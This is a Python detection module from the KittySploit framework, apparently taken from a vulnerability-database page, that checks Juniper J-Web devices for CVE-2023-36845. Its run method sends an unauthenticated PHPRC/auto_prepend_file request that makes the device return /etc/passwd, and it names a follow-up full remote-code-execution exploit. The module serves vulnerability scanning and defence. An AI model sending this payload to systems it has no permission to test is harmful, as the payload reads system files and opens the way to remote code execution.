Juniper J-Web - Remote Code Execution Detection
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series and SRX ."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Juniper J-Web - Remote Code Execution Detection',
'description': 'A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series and SRX Series allows an unauthenticated, network-based attacker to control certain environments variables to execute remote commands',
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': ['web', 'scanner', 'cve', 'cve2023', 'packetstorm', 'rce', 'unauth', 'juniper', 'kev', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['exploits/multi/http/juniper_cve_2023_36845_rce'],
},
},
'references': [
'https://vulncheck.com/blog/juniper-cve-2023-36845',
'https://nvd.nist.gov/vuln/detail/CVE-2023-36845',
'https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/',
'http://packetstormsecurity.com/files/174865/Juniper-SRX-Firewall-EX-Switch-Remote-Code-Execution.html',
'https://supportportal.juniper.net/JSA72300',
],
'cve': 'CVE-2023-36845',
}
def run(self):
path = '/?PHPRC=/dev/fd/0'
r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'application/x-www-form-urlencoded'}, data='auto_prepend_file="/etc/passwd"\n')
if not r or r.status_code != 200:
return False
body = r.text or ""
body_any = ('Juniper',)
body_regexes = ('root:.*:0:0:',)
if (any(m in body for m in body_any)) and (any(re.search(rx, body) for rx in body_regexes)):
self.set_info(severity='critical', reason='Juniper J-Web - Remote Code Execution detected', path=path)
return True
return False
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05 Oct 2026 14:20Current
8.1High risk
Vulners AI Score8.1
CVSS 3.19.8
EPSS0.9507
SSVC